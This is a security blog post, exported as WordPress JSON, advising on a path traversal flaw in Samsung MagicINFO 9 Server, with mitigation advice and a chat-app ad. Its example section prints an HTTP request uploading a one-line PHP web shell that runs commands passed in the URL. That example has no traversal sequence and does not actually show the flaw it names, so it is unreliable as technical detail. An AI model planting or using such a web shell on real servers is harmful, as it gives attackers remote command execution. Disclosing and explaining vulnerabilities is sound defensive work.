{"id":59732,"date":"2025-07-29T15:55:39","date_gmt":"2025-07-29T15:55:39","guid":{"rendered":""},"modified":"2025-08-29T22:44:16","modified_gmt":"2025-08-30T04:44:16","slug":"cve-2025-54446-high-risk-path-traversal-vulnerability-in-samsung-electronics-magicinfo-9-server","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-54446-high-risk-path-traversal-vulnerability-in-samsung-electronics-magicinfo-9-server\/","title":{"rendered":"<strong>CVE-2025-54446: High-Risk Path Traversal Vulnerability in Samsung Electronics MagicINFO 9 Server<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A recently discovered vulnerability, CVE-2025-54446, poses a serious threat to users of Samsung Electronics MagicINFO 9 Server. This vulnerability, which pertains to the improper limitation of a pathname to a restricted directory (also known as &#8216;Path Traversal&#8217;), offers malicious users an opportunity to upload a web shell to a web server. Given the widespread use of MagicINFO 9 Server, this vulnerability raises significant concerns, with <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43933-high-risk-vulnerability-leading-to-potential-system-compromise-via-password-reset-feature\/\"  data-wpil-monitor-id=\"70827\">potential system compromise<\/a> or data leakage on the horizon.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-54446<br \/>\nSeverity: Critical (9.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27050-memory-corruption-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"74882\">Potential system compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2335239577\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>MagicINFO 9 Server | less than 21.1080.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40737-critical-file-path-validation-vulnerability-in-sinec-nms\/\"  data-wpil-monitor-id=\"66640\">path traversal vulnerability<\/a> in the MagicINFO 9 Server. Malicious actors can use this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6058-critical-arbitrary-file-upload-vulnerability-in-wpbookit-wordpress-plugin\/\"  data-wpil-monitor-id=\"66642\">vulnerability to bypass the server&#8217;s security and upload<\/a> a web shell. A web shell could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52688-critical-vulnerability-allowing-root-command-injection-on-access-point\/\"  data-wpil-monitor-id=\"70829\">allow the attacker to execute arbitrary commands<\/a> on the server, leading to possible system control or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2258474585\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload\/webshell.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;webshell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, an attacker sends a POST request to the server&#8217;s upload endpoint, with a web shell <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40738-critical-arbitrary-file-write-vulnerability-in-sinec-nms\/\"  data-wpil-monitor-id=\"66641\">file that can execute arbitrary<\/a> system commands.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The best way to mitigate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25178-critical-luajit-vulnerability-puts-systems-at-risk-of-compromise\/\"  data-wpil-monitor-id=\"70828\">risk of this vulnerability<\/a> is to apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. Regularly updating and patching all <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33077-local-stack-based-buffer-overflow-vulnerability-in-ibm-engineering-systems-design-rhapsody\/\"  data-wpil-monitor-id=\"68414\">systems can prevent similar vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A recently discovered vulnerability, CVE-2025-54446, poses a serious threat to users of Samsung Electronics MagicINFO 9 Server. This vulnerability, which pertains to the improper limitation of a pathname to a restricted directory (also known as &#8216;Path Traversal&#8217;), offers malicious users an opportunity to upload a web shell to a web server. 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